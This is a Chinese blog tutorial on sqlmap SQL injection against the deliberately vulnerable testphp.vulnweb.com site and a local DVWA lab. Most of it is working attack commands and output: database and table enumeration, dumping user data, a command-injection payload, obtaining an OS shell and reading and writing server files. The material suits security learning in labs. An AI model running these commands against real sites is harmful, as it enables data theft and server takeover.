Sqlmap专题

-u 后面接url地址

还可以用burpsuite导出的数据进行批量处理,如form-post形式的数据,用 -r burpsuite导出的数据包


实战:

目标网站:http://testphp.vulnweb.com/index.php

必须先找到了个可以显示结果的注入点

多浏览链接,如点击作者连接,找到注入点:http://testphp.vulnweb.com/artists.php?artist=2

给地址后加个',出现以下错误界面,说明可以尝试注入

接下来,检查注入点:

 sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=2" --batch

返回结果:发现是MYSQL数据库

sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=2" --dbms mysql --dbs --batch

返回如下:看到2个数据库

[16:01:39] [INFO] retrieved: 'acuart'
available databases [2]:                                                                                            
[*] acuart
[*] information_schema

[16:01:39] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'

[*] ending @ 16:01:39 /2020-08-06/


枚举acuart 数据库中的tables:

sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=2" --dbms mysql -D acuart --tables --batch

Database: acuart                                                                                                    
[8 tables]
+-----------+
| artists   |
| carts     |
| categ     |
| featured  |
| guestbook |
| pictures  |
| products  |
| users     |
+-----------+

枚举users数据字段:

sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=2" --dbms mysql -D acuart -T users --columns --batch

Database: acuart                                                                                                    
Table: users
[8 columns]
+---------+--------------+
| Column  | Type         |
+---------+--------------+
| name    | varchar(100) |
| address | mediumtext   |
| cart    | varchar(100) |
| cc      | varchar(100) |
| email   | varchar(100) |
| pass    | varchar(100) |
| phone   | varchar(100) |
| uname   | varchar(100) |
+---------+--------------+

显示指定字段内容:

sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=2" --dbms mysql -D acuart -T users -C name,address.cart --dump --batch

sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=2" --dbms mysql -D acuart -T artists -C aname,adesc --dump --batch



利用Burpsuite,截获请求日志,保存下来

启动Burp的日志保存:Project options-》Misc-》logging->proxy->request,输入文件名rizhi

访问其他文章,或其他作者,request请求都被保存到rizhi文件

选取日志中的几条,如post 、get请求单独存成一个文件2.txt

sqlmap -l 2.txt --level 3 -v 2 --batch



在DVWA中,

选择Command Execution,并输入:10.10.10.143 & pwd来获得一个绝对路径,

选择SQL Injection,输入一个数,使用burpsuite进行抓包,获取cookie。

 判断用户是否为dba,输入命令:

sqlmap -u "http://10.10.10.143/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=507jbjeheke50u6uu15e7rg7a7" --is-dba

接下来使用sqlmap进行交互式写shell

输入命令:注意cookie的复制

关于cookie,有两种情况sqlmap会用到:

  1. 要测试的页面只有在登录状态下才能访问,登录状态用cookie识别
  2. 想要检测是否存在cookie注入

sqlmap -u "http://10.10.10.143/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=507jbjeheke50u6uu15e7rg7a7" --os-shell

[18:23:12] [INFO] the back-end DBMS operating system is Linux
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
>

脚本类型为PHP,所以输入4

出现以下提示:

do you want sqlmap to further try to provoke the full path disclosure? [Y/n] y
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] y
[18:25:06] [WARNING] unable to automatically retrieve the web server document root
what do you want to use for writable directory?
[1] common location(s) ('/var/www/, /var/www/html, /var/www/htdocs, /usr/local/apache2/htdocs, /usr/local/www/data, /var/apache2/htdocs, /var/www/nginx-default, /srv/www/htdocs') (default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search
> 2

选择2

please provide a comma separate list of absolute directory paths: /owaspbwa/dvwa-git/vulnerabilities/exec(前面获得的当前路径)

如果此时不是DBA,--is-dba返回false,会直接退出。

正确则出现以下界面:

打开链接vulnerabilities/exec/tmpujhum.php


利用sqlmap进行POST注入,注入点为Brute Force

利用Burpsuite抓包,存为request.raw

sqlmap -r request.raw  --batch --dbs


利用sqlmap辅助手工注入:

打开SQL Injection,随便提交一个数,打开burpsuite抓包,然后点击submit,获取cookie

使用内置函数获取用户名,版本,数据库名等信息

输入:

sqlmap -u "http://10.10.10.143/dvwa/vulnerabilities/sqli/?id=id&Submit=Submit" --batch --cookie="security=low; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada; PHPSESSID=fg3i191u3n7ucakv8u476927l7" --sql-query "select user(),version(),database()"

得到数据库名为dvwa,接下来猜表

--sql-query "(select count(*) from dvwa.users)>0"

返回1,说明存在users表,然后开始猜列

--sql-query "(select count(username) from dvwa.users)>=0"

没有返回,说明不存在username列,将username改为user,返回1。

得到了列名,现在我们来猜内容

--sql-query "select user,password from dvwa.users"


利用sqlmap进行文件读写:

找到并打开SQL Injection,随便提交一个数,打开burpsuite抓包,然后点击submit,获取cookie

选择Command Execution,并输入:10.10.10.143 & pwd来获得一个绝对路径,如下:

/owaspbwa/dvwa-git/vulnerabilities/exec

读文件,输入:

sqlmap -u "http://10.10.10.143/dvwa/vulnerabilities/sqli/?id=id&Submit=Submit" --batch --cookie="security=low; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada; PHPSESSID=fg3i191u3n7ucakv8u476927l7"  --file-read=/owaspbwa/dvwa-git/vulnerabilities/php.ini

读取文件,通常要正确猜出来文件路径才可以,我的失败了。

写入文件:

sqlmap -u "http://10.10.10.143/dvwa/vulnerabilities/sqli/?id=id&Submit=Submit" --batch --cookie="security=low; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada; PHPSESSID=fg3i191u3n7ucakv8u476927l7"  --file-write 1.txt --file-dest /owaspbwa/dvwa-git/vulnerabilities/exec

如果没成功是因为文件系统权限问题

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值